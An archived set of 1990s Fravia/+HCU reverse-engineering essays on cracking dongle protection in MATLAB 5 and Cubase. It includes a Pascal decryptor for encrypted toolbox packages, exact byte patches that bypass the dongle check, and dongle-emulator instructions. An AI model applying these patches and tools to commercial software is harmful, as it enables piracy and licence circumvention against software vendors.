BytesRead,BytesWritten : Word;
Buffer : TBufferPtr;
DirInfo : SearchRec;
i : Word;
XorKey : Byte;

Begin
Asm
mov ax,3
int 10h
End;
WriteLn('+--------------------------------------------------+');
WriteLn('+ MATLAB 5 InstallShield Encrypted Files Decoder +');
WriteLn('+ by Aitor, +HCU 1998 +');
WriteLn('+--------------------------------------------------+',#13#10);
FindFirst('*.z',Archive,DirInfo);
If DosError<>0 Then
Begin
WriteLn(' * ERROR: Files not found ... agur !');
Halt(1);
End;
New(Buffer);
While DosError=0 Do
Begin
Assign(EncFile,DirInfo.Name);
Assign(DecFile,'deleteme.~$$');
Reset(EncFile,1);
ReWrite(DecFile,1);

http://www.instinct.org/fravia/aitor_45.htm (4 of 7) [2/7/2001 3:12:18 PM]


aitor_45.htm - Reverse Engineering MATLAB 5 - Part II: InstallShield Packages Encryption

XorKey:=29;
Write(' * Decrypting ',DirInfo.Name, ' ... ');
Repeat
BlockRead(EncFile,Buffer^,SizeOf(Buffer^),BytesRead);
For i:=1 to SizeOf(Buffer^) do
Begin
Buffer^[i]:=Buffer^[i] XOR XorKey;
Inc(XorKey);
If XorKey>29 Then
Dec(XorKey,4);
End;
BlockWrite(DecFile,Buffer^,BytesRead,BytesWritten);
Until (BytesRead=0);
Close(EncFile);
Close(DecFile);
Erase(EncFile);
Rename(DecFile,DirInfo.Name);
WriteLn('OK !');
FindNext(DirInfo);
End;
Dispose(Buffer);
End.

{------- cut here --------------- cut here --------------------}

With our new decryptor, we're ready to decode and install *all* (note I'm
saying iNSTALL and NOT USE) the crippled modules included in the CD:

COMM Z 3.267.584 Communications Toolbox


FINANCE Z 755.779 Financial Toolbox
FUZZY Z 490.750 Fuzzy Logic Toolbox
HOSA Z 1.398.899 Higher-Order Spectral Analysis Toolbox
IMAGES Z 3.058.232 Image Processing Toolbox
LMI Z 413.974 LMI Control Toolbox
MUTOOLS Z 606.983 Mu-Analysis and Synthesis Toolbox
NNET Z 346.529 Neural Network Toolbox
OPTIM Z 71.431 Optimization Toolbox
PDE Z 281.449 Partial Differential Equation Toolbox
QFT Z 743.068 QFT Control Design Toolbox
SPLINES Z 112.109 Splines Toolbox
STATS Z 284.214 Statistics Toolbox
SYMBOLIC Z 5.636.086 Extended Symbolic Toolbox
WAVELET Z 1.363.772 Wavelet Toolbox

and we'll be able to check the contents of files like these:

http://www.instinct.org/fravia/aitor_45.htm (5 of 7) [2/7/2001 3:12:18 PM]


aitor_45.htm - Reverse Engineering MATLAB 5 - Part II: InstallShield Packages Encryption

HARDWARE Z 207.281
LICENSE Z 332.036

with *very interesting material* inside them, but that goes beyond the
purpose and level of this essay ...

Final Notes

Like many other contributors to this pages English is not my mothertongue ...
... sorry for any inconvenience, be patient ;).

Greetings to all the reverse engineers from Euskal Herria (Basque Country) ...
... jotake irabazi arte !

(c) 1998 by +Aitor and the +HCU. All rights reserved.

Ob Duh

I won't even bother explaining you that you should BUY this target program if you intend to use it ... this is not
shareware ;-). If you own a legal copy of the program, take into consideration your country's laws about reverse
engineering. Here you got an extract from the LiCENSE.TXT file included in the CD (read it, this is valid for any
other commercial software you own in the EU):

"In relation to the Programs which Licensee is entitled to use, Licensee shall not decompile, disassemble or otherwise reverse engineer the Programs except with respect to European
Union Licensees whose rights are as follows:

EUROPEAN UNION: Licensee may only decompile, disassemble or otherwise reverse engineer the Programs where any such act is necessary to create an independent program
which is interoperable with the Programs or with another program or to observe, study, or test the functioning of the Programs solely in order to understand the ideas and principles
which underlie any element of the Programs ("the Permitted Objective") and provided that:

(a) this may only be done if the information necessary to achieve the Permitted Objective has not already been made available or has not been provided by TMW within a reasonable
time of a written request to TMW to provide such information;

(b) the compilation, disassembly or reverse-engineering is confined to those parts of the Programs necessary to achieve the Permitted Objective;

(c) the information gained is not used for anything other than the Permitted Objective and is not disclosed to any other person except as may be necessary to achieve the Permitted
Objective; and

(d) the information obtained is not used to create a program substantially similar in its expression to the Programs including, but not limited to, expressions of the Programs in other
computer languages, or for any other act restricted by copyright in the Programs.

You are deep inside fravia's page of reverse engineering, choose your way out:

http://www.instinct.org/fravia/aitor_45.htm (6 of 7) [2/7/2001 3:12:18 PM]


aitor_45.htm - Reverse Engineering MATLAB 5 - Part II: InstallShield Packages Encryption

homepage links search_forms +ORC students' essays academy database


reality cracking how to search javascript wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/aitor_45.htm (7 of 7) [2/7/2001 3:12:18 PM]


aitor1.htm - Reverse Engineering MATLAB 5 - Part I: Dongle Protection

Reverse Engineering MATLAB 5


Part I: Dongle Protection Dongles

12 January 1998 by +Aitor


slightly edited
Courtesy of Fravia's page of reverse engineering
by fravia+
I'm baffled: the level of the essays of our schoolmates is
continuously improving, yet the level of the protection schemes
seems (if ever possible) to decrease... does it depends from the
fact that most programmers don't know any more (after so many
years of compelled windoze's lobotomizing) how code works?
fra_00xx (and I mean real, mighty code, the one you feel passing slowly
980112 your gaze on it :-)
+Aitor I don't know, I don't undertand.
0100 Anyway I'm happy to host this essay by our schoolmate +Aitor
NA and I agree TOTALLY with his philosophy: "We have (now) our
PC target working fine -without the dongle- but we are not satisfied.
We don't want to crack this program, we are reversing it in
order to learn more ... real knowledge will be our unique
satisfaction..."
Rrright so +crackers! (and now let's hope that +Aitor's other
essays of a series of at least three will follow rash :-)
There is a crack, a crack in everything
That's how the light gets in
Rating ( )Beginner (x)Intermediate ( )Advanced ( )Expert

"A little essay to show beginners and intermediate reversers how a dongle can be easily defeated"

Reverse Engineering MATLAB 5


Part I: Dongle Protection
Written by +Aitor

Introduction

I've chosen this program because it has got three levels of protection:

1) Program is dongle protected, that is, once you have installed it won't
run without plugging in the dongle.

http://www.instinct.org/fravia/aitor1.htm (1 of 10) [2/7/2001 3:12:24 PM]


aitor1.htm - Reverse Engineering MATLAB 5 - Part I: Dongle Protection

2) With the program are included *ALL* the toolboxes (sold apart at very
expensive prices, believe me) but they're not mentioned anywhere. These
are InstallShield packed .Z files that cannot be unpacked by the
InstallShield file compressor because they are *ENCRYPTED* ... all the
.Z files in the Matlab 5 CD are encrypted.

3) Once you have built a little decryptor, and all the forbidden toolboxes
are unpacked, a license check appears ...

This essay (the 1st of a series of at least three) deals with the 1st level
of protection ...

Dongle, hardware key, security plug, motxila ... words that sound terrible
to many crackers (mainly beginners) out there. The main aim of this essay
is to show how a hardware key protected commercial application can be
cracked in less than a minute, as easily as you do with many other
shareware targets, and if you give yourself a few more seconds you'll be
able to crack the entire ready made (probably commercial) protection
system.

Tools required

Soft-iCE v3.2 Win95 (v2.x will be enough; *required*)


Your favourite hex editor (only needed to test the patches)
W32Dasm v8.0 (any version will do; needed for a deeper approach)

Target's URL/FTP

The program *iS NOT REQUiRED* to follow the essays. Remember, we are mainly reverse engineers, not only
crackers ... this series will teach you generic protection schemes, it's not my intention to write one more
how-to-crack to an specific application. Anyway, it's commercial software, but (hardly) available in the net if you do
know how to search.

Program History

Not too much to say. A classic among the maths/programming applications, available for different systems. In my
personal software archives (for educational purposes only :) I've got version 3.5f for DOS dated from 1989, then was
a package including PC-Matlab and AT-Matlab, with only a serial number. Latest version I know is the target of this
essay, a CD-ROM including version 5.0 for Win95/NT and version 4.2c.1 for Win32s, both serial number + dongle

http://www.instinct.org/fravia/aitor1.htm (2 of 10) [2/7/2001 3:12:24 PM]


aitor1.htm - Reverse Engineering MATLAB 5 - Part I: Dongle Protection

protected.
If you want to know more about this product contact with the The MathWorks Web site or connect to one of the
hundreds of Matlab related sites across the net.

Essay

+-------------------------------------+
+ 1st APPROACH +
+ Fast non-ZEN one-minute-crack +
+-------------------------------------+

First thing we need is installing our target ... a minimal installation


will be enough.

Aurrera with our job! Fire up Soft-iCE and run matlab.exe. Inmediately
you are warned with a fatal error box: "Error checking out MATLAB".
Without closing this box pop up Soft-iCE and check the list of window
handles, you'll see something like this:

Window Handle hQueue SZ QOwner Class Name Window Proc.


------------- ------ -- ------ --------------- ------------
0268(1) 262f 32 MATLAB #32770 (Dialog) 17e7:4757
026c(2) 262f 32 MATLAB Button 17e7:102e

... an so on.

Yes, they are our error box and its OK-button. Let's make Soft-iCE break
the program execution at the moment when the error box is destroyed. Doing
so we'll be able to locate the calling instructions that make our box
appear (this is true in 95% of the protections you'll find, incredible,
isn't it?) only by PRETing within Soft-iCE. Ok, let's put our BREAKPOiNT:

bmsg 268 wm_destroy

and let the program run. After pressing the OK-button Soft-iCE pops up
again:

---USER!GETDLGCTRLiD+0017--------------------------------------

http://www.instinct.org/fravia/aitor1.htm (3 of 10) [2/7/2001 3:12:24 PM]


aitor1.htm - Reverse Engineering MATLAB 5 - Part I: Dongle Protection

17e7:4757 push bp
17e7:4758 mov bp,sp
17e7:475a push 4793
...
-------------------------------USER(08)------------------------

A few PRET commands from here until we land on the program code:

137:41adc0 call 6b093c


137:41adc5 add esp,14
137:41adc8 mov [ebp-20],eax
137:41adcb cmp dword ptr [ebp-20],0
137:41adcf jz 41adff
137:41add1 cmp dword ptr [6ed6f0],0
137:41add8 jz 41addf
137:41adda call 441544
137:41addf push 10
137:41ade1 mov eax,6c1486
137:41ade6 push eax
137:41ade7 mov eax,6c1492
137:41adec push eax
137:41aded push 00
137:41adef call cs:[8d0ae4] ;fatal error box
--> 137:41adf6 mov dword ptr [ebp-24],0 ;bad guy
137:41adfd jmp 41ae06 ;go out!
137:41adff mov dword ptr [ebp-24],1 ;good guy, go ahead!

Incredible, eh? Can you hear it ? ... it's saying 'crack me' ;-).
Don't think it twice and try a fast non-ZEN patch:

137:41adcf jz 41adff -> 137:41adcf jmp 41adff

After live testing patching code in memory (it works fine), will be easy to
patch the code on disk:

MATLAB.EXE, 3.457.536 bytes (tiny, uhm?)


Search : 74 2e 83 3d
Replace : eb -- -- --

Now run the program and test it with a few samples and demos, everything
works well ... isn't it?!

http://www.instinct.org/fravia/aitor1.htm (4 of 10) [2/7/2001 3:12:24 PM]


aitor1.htm - Reverse Engineering MATLAB 5 - Part I: Dongle Protection

+-------------------------------------------------+
+ 2nd APPROACH +
+ Breaking down the protection system itself +
+-------------------------------------------------+

We have our target working fine without the dongle, but we are not
satisfied. We don't want to crack the program, we are reversing it in
order to learn more ... real knowledge will be our unique satisfaction
(apart from destroying Micro$oft and see Mr. Bill Fakes crucified, of
course).

Let's take a look at the program again, and see more deeply how the
protection system works. For doing this we must restore the original
unpatched matlab.exe file. Now we are ready to begin, take a look at the
code previous to our first patch:

137:41adb2 push 23
137:41adb4 push dword ptr [ebp-1c]
137:41adb7 push dword ptr [ebp-18]
137:41adba push dword ptr [ebp-14]
137:41adbd push dword ptr [ebp-10]
137:41adc0 call 6b093c
137:41adc5 add esp,14
137:41adc8 mov [ebp-20],eax
137:41adcb cmp dword ptr [ebp-20],0
137:41adcf jz 41adff
137:41add1 cmp dword ptr [6ed6f0],0
137:41add8 jz 41addf
137:41adda call 441544
137:41addf push 10

Pay attention and tell me what's could be happening in the code above.
A series of values is been located in the heap, then a routine is called,
and finally the EAX value returned from that routine is used to check our
access to the program. Let's put a breakpoint at 137:41adc0 and trace the
called routine code. After tracing a little we land here:

-->137:94118a push ebp


137:94118b mov ebp, esp
137:94118d push ebx
137:94118e push esi
137:94118f push edi
137:941190 mov eax,[ebp+18]

http://www.instinct.org/fravia/aitor1.htm (5 of 10) [2/7/2001 3:12:24 PM]


aitor1.htm - Reverse Engineering MATLAB 5 - Part I: Dongle Protection

137:941193 push eax


137:941194 mov eax,[ebp+14]
137:941197 push eax
137:941198 mov eax,[ebp+10]
137:94119b push eax
137:94119c mov eax,[ebp+C]
137:94119f push eax
137:9411a0 mov eax,[ebp+8]
137:9411a3 push eax
137:9411a4 call 941525
137:9411a9 add esp,14
137:9411ac jmp 9411B1
137:9411b1 pop edi
137:9411b2 pop esi
137:9411b3 pop ebx
137:9411b4 leave
137:9411b5 ret 14

This piece of code iS NOT from MATLAB itself ... where could it be located?
Take a look at our MATLAB\bin directory:
Directorio de C:\MATLAB\bin
BCCENG~1 BAT 1.426 21/11/96 15:58 bccengmatopts.bat
BCCOPTS BAT 1.632 21/11/96 15:58 bccopts.bat
CMEX BAT 2.274 21/11/96 15:58 cmex.bat
FMEX BAT 2.274 21/11/96 15:58 fmex.bat
LIBENG DLL 29.696 22/11/96 9:51 libeng.dll
LIBMAT DLL 60.416 21/11/96 12:05 libmat.dll
LIBMX DLL 40.960 21/11/96 12:05 libmx.dll
LIBUT DLL 40.960 21/11/96 12:05 libut.dll
MATLAB EXE 3.457.536 06/01/98 7:24 matlab.exe
MEX BAT 18.152 21/11/96 15:58 mex.bat
MEDIT EXE 144.896 04/12/96 13:43 medit.exe
MEXOPTS BAT 1.721 21/11/96 15:58 mexopts.bat
MFC42 DLL 1.013.520 21/11/96 12:05 mfc42.dll
MIPC50 DLL 248.320 21/11/96 12:05 mipc50.dll
MLAPP TLB 2.789 21/11/96 12:06 mlapp.tlb
ML_16 DLL 14.708 21/11/96 12:05 ml_16.dll
MLPTOOL EXE 42.496 21/11/96 12:05 mlptool.exe
MSCTOF DLL 31.744 21/11/96 12:05 msctof.dll
MSFOPTS BAT 1.649 21/11/96 15:58 msfopts.bat
MSVCEN~1 BAT 1.701 21/11/96 15:58 msvcengmatopts.bat
MSVCIRT DLL 74.752 21/11/96 12:05 msvcirt.dll
MSVCOPTS BAT 1.599 21/11/96 15:58 msvcopts.bat
MSVCRT DLL 267.536 21/11/96 12:05 msvcrt.dll
MWOLES05 DLL 43.520 22/11/96 11:51 mwoles05.dll
PERL100 DLL 525.312 21/11/96 12:05 perl100.dll
PERL EXE 36.352 21/11/96 12:05 perl.exe
SHOWDLLS EXE 49.668 21/11/96 12:05 showdlls.exe
WATENG~1 BAT 1.701 21/11/96 15:58 watengmatopts.bat
WSPTOOL EXE 60.928 21/11/96 12:05 wsptool.exe
LICENSE DAT 167 06/01/98 7:24 license.dat
W32SSI DLL 66.560 02/04/96 11:01 w32ssi.dll
31 archivo(s) 6.286.965 bytes
2 directorio(s) 46.161.920 bytes libres

http://www.instinct.org/fravia/aitor1.htm (6 of 10) [2/7/2001 3:12:24 PM]


aitor1.htm - Reverse Engineering MATLAB 5 - Part I: Dongle Protection

Most of the files have (more or less) the same date: 21-22/11/96, but there
are four of them that have not:

MATLAB EXE 3.457.536 06/01/98 7:24 matlab.exe


MEDIT EXE 144.896 04/12/96 13:43 medit.exe
LICENSE DAT 167 06/01/98 7:24 license.dat
W32SSI DLL 66.560 02/04/96 11:01 w32ssi.dll

matlab.exe : main executable, installation date stamped


medit.exe : Matlab editor/debugger
license.dat : ASCii license file, installation date stamped
w32ssi.dll : what the hell could be this?

Take your favourite hex editor, search for our code and EUREKA! To read it
better take W32Dasm and get its dead listing (about 245 kb):

Exported fn(): wSSIEIni - Ord:000Fh


:40118A 55 push ebp
:40118B 8BEC mov ebp, esp
:40118D 53 push ebx
:40118E 56 push esi
:40118F 57 push edi
:401190 8B4518 mov eax,[ebp+18]
:401193 50 push eax
:401194 8B4514 mov eax,[ebp+14]
:401197 50 push eax
:401198 8B4510 mov eax,[ebp+10]
:40119B 50 push eax
:40119C 8B450C mov eax,[ebp+C]
:40119F 50 push eax
:4011A0 8B4508 mov eax,[ebp+8]
:4011A3 50 push eax
:4011A4 E87C030000 call 401525 <--- call to checking_system
:4011A9 83C414 add esp,14
:4011AC E900000000 jmp 4011B1
:4011B1 5F pop edi
:4011B2 5E pop esi
:4011B3 5B pop ebx
:4011B4 C9 leave
:4011B5 C21400 ret 14 <-------- return to MATLAB

If the dongle is installed this call returns EAX = 0. If not, it will


return EAX = -1 ($FFFFFFFF). The aim is clear, isn't it? ... we'll patch
this function to return always EAX=0. There are multiple solutions, e.g.:

http://www.instinct.org/fravia/aitor1.htm (7 of 10) [2/7/2001 3:12:24 PM]


aitor1.htm - Reverse Engineering MATLAB 5 - Part I: Dongle Protection

:40118A 55 push ebp :40118A 33c0 xor eax,eax


:40118B 8BEC mov ebp,esp ---\ :40118C c21400 ret 14
:40118D 53 push ebx ---/
:40118E 56 push esi

After live testing patching code in memory (it works fine), will be easy to
patch the code on disk:

W32SSi.DLL, 66.560 bytes


Search : 55 8b ec 53 56 57 8b 45 18
Replace : 33 c0 c2 14 00 -- -- -- --

Now run the program and test it, everything should work fine ...
We don't care (by the moment) about how messy things are done inside the
hardware checking routines, but if you trace the code inside the DLL you'll
find code snippets like this:

...
:401712 push eax
:401713 mov eax,80992014
:401718 push eax
:401719 push dword ptr [4070A0]
:40171F call dword ptr [407050]
:401725 mov eax,[4070A0]
:40172A push eax
:40172B call dword ptr [407054]
:401731 mov dword ptr [4070A0],-1
:40173B jmp 40175A
:40173D mov ebp,[4076A4]
:401743 mov esi,[4076A8]
:401749 mov edi,[4076AC]
:40174F mov edx,9966
:401754 mov ax,8
:401758 out dx,ax
...

or this:

...
:40197B mov edx,9966
:401980 sub eax,eax
:401982 in ax,dx

http://www.instinct.org/fravia/aitor1.htm (8 of 10) [2/7/2001 3:12:24 PM]


aitor1.htm - Reverse Engineering MATLAB 5 - Part I: Dongle Protection

:401984 cmp ax,9966


:401988 jne 401A67
:40198E in al,dx
:40198F cmp al,55
:401991 jne 401A67
:401997 inc edx
:401998 in al,dx
:401999 cmp al,88
:40199B jne 401A67
:4019A1 mov edx,9964
:4019A6 sub eax,eax
:4019A8 in ax,dx
:4019AA and eax,FFFF
:4019AF mov edx,eax
:4019B1 cmp ax,1000
:4019B5 jb 401A67
:4019BB and al,3
:4019BD jne 401A67
:4019C3 mov [4070A4], edx
:4019C9 mov byte ptr [4070F1],1
:4019D0 jmp 401A67
...

quite interesting material, but not for this essay ... may be in a future :)

This 2nd approach give us two iMPORTANT advantages over the 1st one:

1) Our target only calls the dongle checking routine once at startup,
but you'll find applications that make multiple callings from
anywhere at anytime during its execution. An example of this could
be AutoCAD 13 from AutoDesk. Its protection check is mainly the
same, you reach one point in the code with a call returning EAX=0 =>
good guy, and this is called not only at startup, but some more times
while the program is running. If you take the 1st approach as a model
for this kind of targets, you will must patch *any* references to the
call ...

2) When a programmer distributes part of the code in DLLs he does it in


order to reduce the size of the main EXE freeing it from the
additional load of routines that are used only one or two times along
the program, but most of the times do it to *share* routines among
different applications ... taking into consideration the date of the
w32ssi.dll file it won't be very strange to find the same DLL
in other applications out there, and if this was the case we'd have
broken down a ready made protection system ;-).

http://www.instinct.org/fravia/aitor1.htm (9 of 10) [2/7/2001 3:12:24 PM]


aitor1.htm - Reverse Engineering MATLAB 5 - Part I: Dongle Protection

Final Notes

Like many other contributors to this pages English is not my mothertongue ...
... sorry for any inconvenience, be patient ;).

Greetings to all the reverse engineers from Euskal Herria (Basque Country) ...
... jotake irabazi arte !

(c) 1998 by +Aitor and the +HCU. All rights reserved.

Ob Duh

I won't even bother explaining you that you should BUY this target program if you intend to use it ... this is not
shareware ;-). If you own a legal copy of the program, take into consideration your country's laws about reverse
engineering. Here you got an extract from the LiCENSE.TXT file included in the CD (read it, this is valid for any
other commercial software you own in the EU):

"In relation to the Programs which Licensee is entitled to use, Licensee shall not decompile, disassemble or otherwise reverse engineer the Programs except with respect to European
Union Licensees whose rights are as follows:

EUROPEAN UNION: Licensee may only decompile, disassemble or otherwise reverse engineer the Programs where any such act is necessary to create an independent program
which is interoperable with the Programs or with another program or to observe, study, or test the functioning of the Programs solely in order to understand the ideas and principles
which underlie any element of the Programs ("the Permitted Objective") and provided that:

(a) this may only be done if the information necessary to achieve the Permitted Objective has not already been made available or has not been provided by TMW within a reasonable
time of a written request to TMW to provide such information;

(b) the compilation, disassembly or reverse-engineering is confined to those parts of the Programs necessary to achieve the Permitted Objective;

(c) the information gained is not used for anything other than the Permitted Objective and is not disclosed to any other person except as may be necessary to achieve the Permitted
Objective; and

(d) the information obtained is not used to create a program substantially similar in its expression to the Programs including, but not limited to, expressions of the Programs in other
computer languages, or for any other act restricted by copyright in the Programs.

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links search_forms +ORC students' essays academy database


reality cracking how to search javascript wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/aitor1.htm (10 of 10) [2/7/2001 3:12:24 PM]


project3.htm ~ +HCU 1997, 1998 ~ Project 3 ~ Dongle cracking

+HCU Special project 3


[essays] ~ [tools]

How to "UNDONGLE" the hell out of it


Updated January 1999
Dongle cracking... hardware checks cracking... well...
dongle protection cracking has long been a "bete
noire" of all crackers, old crackers' songs sing it, old
crackers paintings show the terrible lost battles... so
we decided, in may 1997, to start working on it, we
wanted to show how useless even these supposed
'extremely hard' hardware protections resulted against
Internet +team work.
In fact -as you will read- most of the times the
programmers that have prepared the dongle-based
protection schemes have been blinded by their greed...
as we all know a 'commercial' approach to
programming turns ALWAYS into a programming
catastrophe (just look at Micro$oft's crashing
programs and OSs if you need any confirmation of this
matter of fact :-)
This +HCU 'dongle' project has made "history" in the
scene (of course I know exactly who is continuously
looking at this page) and has been allowed thank to
the first (very sound) contributions by Xoanon and
Zafer, good crackers that have 'broken the ice' and
allowed the splendid Renaissance of these studies that
we are enjoying now (January 1998)
When (and if :-) you'll have finished reading the
marvellous essays on this page you'll never believe
that once upon a time (couple of years ago) many
crackers were scared to death from these relatively
From Fravia's own private easy to defeat hardware protections (well... some of
"cracking posters" collection them ARE indeed pretty though -as you'll see)
Some of the essay on this page are VERY ADVANCED
"This is an enemy" reading, and I'm sure that my advanced readers will
(1941) find all this VERY INSTRUCTIVE
Of course, as usual this is a 'work in progress' section
+HCU project 3 of my site... and you have the two usual choices: 1)
How to undongle You just leech and try to use what you learn here in
(1997, 1998) order to gain some money for yourself =you slime :-(
or 2) You contribute and, building on the shoulders of
all others, allow others to build on your shoulders
=you +cracker :-)

http://www.instinct.org/fravia/project3.htm (1 of 5) [2/7/2001 3:12:50 PM]


project3.htm ~ +HCU 1997, 1998 ~ Project 3 ~ Dongle cracking

Cubase -Dongle (the main tricks) -


16 May 1997 PHASE 1 by Xoanon
protection cracking (xoacuba1.htm: FVP03F01)
3 Sep 1997
Dongle reverse (Hasp dongles) -
(Part C: PHASE 2 by Zafer
engineering (zaferdon.htm: FVP03F02)
19 Oct 1997)

(A Very Easy Dongle


PHASE 3 by
2 Nov 1997 Dongle cracking: Protection) - (datapi1.htm:
+DataPimp
NetXRay 1.1.3 FVP03F03)

PHASE 4 by Dr. (the microphar dongle galore)


6 Nov 1997 Simple unix busting
Fuhrball - (fuhrba.htm: FVP03F04)
Dongle protection (Encyclopaedia Universalis:
PHASE 5 by
29 Nov 1997 reversing (HASP) - Pinit the French reference) -
The+Chineese
dongle testing (chineee1.htm: FVP03F05)
(A somehow 'general' essay
Zen and the Art of
24 Dec 1997 PHASE 6 by zeezee about dongles) -
Dongle Cracking (zee__4.htm: FVP03F06)
Reverse Engineering (Simple dongle reversing: the
11 Jan 1998 PHASE 7 by +Aitor MATLAB 5 - Part I: 'alien dll date' trick) -
Dongle Protection (aitor1.htm: FVP03F07)
(De-Hasping, zip cracking
Pushing the Envelope
20 Jan 1998 PHASE 8 by Quine and other marvels) -
with HASP (quine_h1.htm: FVP03F08)
(Initial workaround for
SSI Win32 Dongle
22 Jan 1998 PHASE 9 by Spyder difficult Win32 targets) -
Protection (spyder_4.htm: FVP03F09)
(How a single +HCU
Dongle Bashing ~ reverser can easily blow a
PHASE A by Frog's
29 Jan 1998 End of the dongle old whole commercial sector out
Print
aera of history) - (fp_dong1.htm:
FVP03F0A)
Connected to the previous
essay, same phase: Dongles
21 February
Jack of Shadows, are NOT dead!
1998
(programmers: use them!)
__NEW__
Marx Crypto Box, the ("Protection Plus
PHASE B by Dr
03 Feb 1998 most Secure device ever Professional") -
Fuhrball:
made (fuhrba_3.htm: FVP03F0B)

http://www.instinct.org/fravia/project3.htm (2 of 5) [2/7/2001 3:12:50 PM]


project3.htm ~ +HCU 1997, 1998 ~ Project 3 ~ Dongle cracking

Connected to the previous


essay, same phase:
Dr Fuhrball's treatment on
drfuh5.htm
the hardware side of
accessing eeproms (with
three gifs) Advanced
(unplugging technical library
Unplugging a dongle
13 Feb 1998 PHASE C by MaD: from Micro house) -
protection (dong_mad.htm: FVP03F0C)
(DONGLES: The weak
Bashing brothership between hard-
16 Feb 1998 PHASE D by MaD
LPT-Parasites and software) -
(maddon_1.htm: FVP03F0D)
(what d'you think of all the
PHASE E by Undocumented HASP hype about HASP?) -
26 Feb 1998
bayunni: - Part I, (bayu_2.htm: FVP03F0E)
Advanced
(Revealing sentinel Pro main
04 Mar 1998 PHASE F by MaD: Dongle DEJAVU code) - (madlas1.htm:
FVP03F0E)
"xDEAD:xBEEF: extending
PHASE 10 by Undocumented HASP HASP manufacturer's
12 Mar 1998
bayunni: - Part II services" - (bayunn2.htm:
FVP03F10) Advanced
How to crack an Cracking 'Security Lock
PHASE 11 by hardcore Number' ('SLN') -
04 May 1998
Shaman: dongle-protected (casmw652.htm: FVP03F11)
program Advanced
Undocumented HASP 3 (no
27 May 98 Bajunny bayu3.htm more security through
obscurity)
Data reverse-engineering -
21 Oct 98 SvD bulga_1.htm
Lesson 1

Sentinel, Hasp... commercial protectors... how much money should you actually PAY us for having
demonstrated how bad implemented your protections are? (Note the 'implemented' bit :-)
And you, programmers, and you that have trusted dongles, believing them to be good protections. You that soon
find your own 'dongle-protected' programs regged (and undongled) on any luser's warez site? Did you actually
believe the crap written by the dongle-fabricants? Do you believe hypes? Haven't you learned yet to see
THROUGH things? To reverse!
How much do you actually owe us for showing you (for free) the truth? Yet don't worry... we don't need, nor
want, your money... what we do, we do because we enjoy it, not because we want useless bucks... that's the real
reason, I'm afraid, that "non-commercial" reversers will always remain (quite) ahead in this lind of games...

http://www.instinct.org/fravia/project3.htm (3 of 5) [2/7/2001 3:12:50 PM]


project3.htm ~ +HCU 1997, 1998 ~ Project 3 ~ Dongle cracking

Tools for dongle artists


9 January 1998
wkpe120.zip (215.763 Kb): Wkpe "Keypro": A dongle emulator from Taiwan, wkpe supports all win-dos
boxes, incluse dos4gw, and has been sent to me, as a present, by a taiwanese programmer: 3n3E

Here how to use this dongle emulator:

********* Capturing all dongle I/O data to a file ************************

1. install your Dongle in LPT1 (Port address must be 378h)

2. Run WKPE.EXE and "Enable Capture"

3. Run your targets ,and test all menus


Don't use any printer function, since this
version does not support them

4. If all tests are ok, return to WKPE windows and


"Disable Capture and get Data"

5. Save I/O data to file. (backup dongle data)

********* ok ,you can now remove the dongle *******************************


********* Emulating the dongle ********************************************

6. load I/O data file

7. "Enable Emulator"

8. run your target

9. "Disable Emulator"
Be careful though: here is what Slava wrote :-)

With all due respect to your site and your efforts, I must
tell you that I haven't seen this kind of crap for years.
Here are the results of my express-test of Wkpe dongle-emulator
(I tried to cover different dongles/app modes):

1. Code Soft 4.0 (Brady) Memo Hasp, 16 bit application


I whish I knew all those exotic languages, but after
following all the instructions from the Readme file, I finished

http://www.instinct.org/fravia/project3.htm (4 of 5) [2/7/2001 3:12:50 PM]


project3.htm ~ +HCU 1997, 1998 ~ Project 3 ~ Dongle cracking

up with some weird message box, whithout beeng able to save


anything.

2. Genesys 6.1 (Eagleware) Time Hasp, 32 bit application


Page Fault as soon as I start capturing data, no matter what I do
or how many times I try.

3. Board Maker (any version) (Tsien) 16 bit, DOS application


Doesn't seem to do anything. The app simply exits with an error,
same as without the emulator running.

Best regards, Slava (20 January 1999)

Let's see what the Authors of wkpe will answer... :-)

our protections programmer's corner How to protect better our tools

homepage links anonymity +ORC javascript wars academy database


bots' wars tools cocktails antismut CGI-scripts search forms mail fravia+
Is reverse engineering legal?

(c) Fravia+ 1995, 1996, 1997, 1998, 1999. All rights reversed

http://www.instinct.org/fravia/project3.htm (5 of 5) [2/7/2001 3:12:50 PM]


xoacuba1

Cubase -Dongle protection


cracking
The main tricks

by Xoanon
(16 May 1997, slightly edited by Fravia)

Courtesy of Fravia's page of reverse engineering


Well... dongle protection cracking, old crackers' songs sing it, old crackers paintings idealize it... let's begin to do it,
let's show the world how useless even hardware protections are. This project has been allowed thank to this first
sound contribution from Xoanon

I may remark that at the end Xoanon wrote "First phase"... Hey, Xoanon... dov' la SECONDA fase?

Cubase 3.0 UNDONGLED!


courtesy of +XoanoN/PiNNACLE 1997

Well, i have seen some of my previous works published by the +HCU.


And for me this is already enough... Wow! To be on "the" site together
with the "Gotha" of cracking!!! So i decided to start working on a more
serious project, a cracking subsector that only REAL +crackers can face:
DONGLES!
Eh eh.... well, i have seen that the +HCU needs something about dongles, so
why should I not try? Let's see....

Prologue:
----------------------------------------------------------------------------
First of all, i decided to try this donglecrack 'coz i don't know of ANY
version of Cubase 3.0 working (i mean REAL 100% cracked). Maybe there are
newer versions out (i think 3.05 or more), but i'm not sure if are cracked
well, coz i haven't tried them.
And, the reason of this is quite simple: many crackers tend to not even
trying out the programs once they THINK they've cracked them, and since
Cubase has a funny trick (to let you think you've cracked it after less
than 2 minutes of debugging... you got it?) I think it is worth explaining
a little its protection schemes. By the way, i tried cracking it 1 year
ago and did the same error.
In more understandable terms, simply NOPPING a JNZ lets you bypass the
initial donglecheck, so cubase "runs" somehow. But try working more than

http://www.instinct.org/fravia/xoacuba1.htm (1 of 3) [2/7/2001 3:12:53 PM]


xoacuba1

10 minutes (or even less)... try creating new tracks, by clicking 4 or


5 times on the right window... try choosing "Score" from the menu....
TRY ANYTHING!!! It will soon crash with a "General Protection Failure"
error report...

Some donglecracking infos you may need:


--------------------------------------------------------------
Since dongles are a relatively "strong" way to protect a program (a dongle
can contain locations where the program needs to jump, etc...) sometimes
without them it's impossible to crack such protections... I mean, in some
hard cases (i.e. when the locations of the jmps are stored *directly*
inside the dongle) you'll need ABSOLUTELY the dongle, or you can't do
anything... the program will not run.
